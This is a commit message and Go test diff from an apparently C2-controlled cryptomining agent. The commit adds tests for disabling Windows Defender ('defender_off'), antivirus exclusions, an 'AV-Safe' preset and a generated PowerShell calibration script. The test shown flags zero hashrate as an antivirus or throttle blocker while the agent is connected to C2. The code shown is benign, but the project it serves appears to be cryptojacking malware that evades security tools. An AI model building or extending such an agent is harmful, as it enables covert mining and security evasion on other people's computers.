Add AV/Defender tests for diagnostics, exclusions, and defender_off.

Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.

agent/client/mining_diagnostics_test.go

@@ -178,6 +178,30 @@ func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
 	}
 }
 
+func TestInferMiningBlockersJobPresentZeroHashrate(t *testing.T) {
+	c := testDiagnosticsClient(t, config.RuntimeConfig{})
+	d := MiningDiagnostics{
+		C2Connected: true,
+		CPU: struct {
+			RemotePaused     bool    `json:"remote_paused"`
+			ScheduleBlocked  bool    `json:"schedule_blocked"`
+			ResourcesBlocked bool    `json:"resources_blocked"`
+			HasJob           bool    `json:"has_job"`
+			Hashrate         float64 `json:"hashrate_hps"`
+		}{HasJob: true, Hashrate: 0},
+	}
+	blockers := c.inferMiningBlockers(d)
+	found := false
+	for _, b := range blockers {
+		if strings.Contains(b, "hashrate=0") && strings.Contains(b, "AV") {
+			found = true
+		}
+	}
+	if !found {
+		t.Fatalf("expected AV/throttle blocker, got %v", blockers)
+	}
+}
+
 func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
 	c := testDiagnosticsClient(t, config.RuntimeConfig{
 		BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},